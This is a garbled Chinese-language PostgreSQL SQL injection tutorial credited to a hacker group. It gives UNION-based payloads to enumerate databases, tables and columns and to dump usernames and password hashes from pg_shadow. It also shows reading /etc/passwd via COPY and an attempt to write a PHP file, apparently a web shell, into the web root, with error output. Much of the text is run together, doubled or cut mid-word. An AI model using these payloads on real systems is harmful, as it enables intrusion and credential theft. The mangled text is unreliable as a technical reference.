sql注入系列postgresql语法指南

1、GooglePostgresql的注入实例还是不太容易，所以，SQL软件中，不管是MSSQL,MySQL,OracleAccessinformix,firebird,db2，他们SQL 逻辑和语法都是万变不离其宗的。虽然这么说，但是不建议注入初学者来看本文。来自：SilicGroupHacker HYPERLINK / -selectselectunionunionselect PostgreSQL8.1.18oni686-redhat-linux-gnu,compiledbyGCCgcc(GCC)4.1.220080704 (Red Hat 4.1.2-46)selectselectaafr

2、ombbwhereunionunionselect1,2,. n,aafrombbwhere /所有的/所有的SQL-selectselectdatnamefromunionunionselect1,2,. ,n,datnamefromselectselectrelnamefrompg_stat_user_tableslimit1offset unionunionselectrelnamefrompg_stat_user_tableslimit1offset/limit/limit1offset0MySQL的limit0,1select select column_name from info

3、rmation_schema.columns where limit1offset union union select 1,2,.,n,column_name from information_schema.columns 复制代table_name=0 x3alimit1offset复制代/selectselectusename,passwdfromunionunionselect1,2,.n,usename,passwdfrom/pg_shadow/pg_shadow数据库类似于MySQL中的mysql数据rootpostgres-createcreatetabletest(codeco

4、pycopytestfrom/etc/passwdwithdelimiter(注(注：网上多数关于Postgresql的语句中是双引号，实际测试，8.x9.x双引号无效，应该Queryfailed:ERROR:extradataafterlastexpectedcolumnCONTEXT:COPYfile,line1: -insertinsertintotestvalues(?phpcopycopytest(code)toQueryfailed:ERROR:couldnotopenfile/var/www/html/aaa.phpforwriting:Permission pg_file_read()MySQLload_file()那么好用selectselectQueryfailed:ERROR:functionpg_file_length(unknown)doesnotexistHINT:Nofunction matches the gi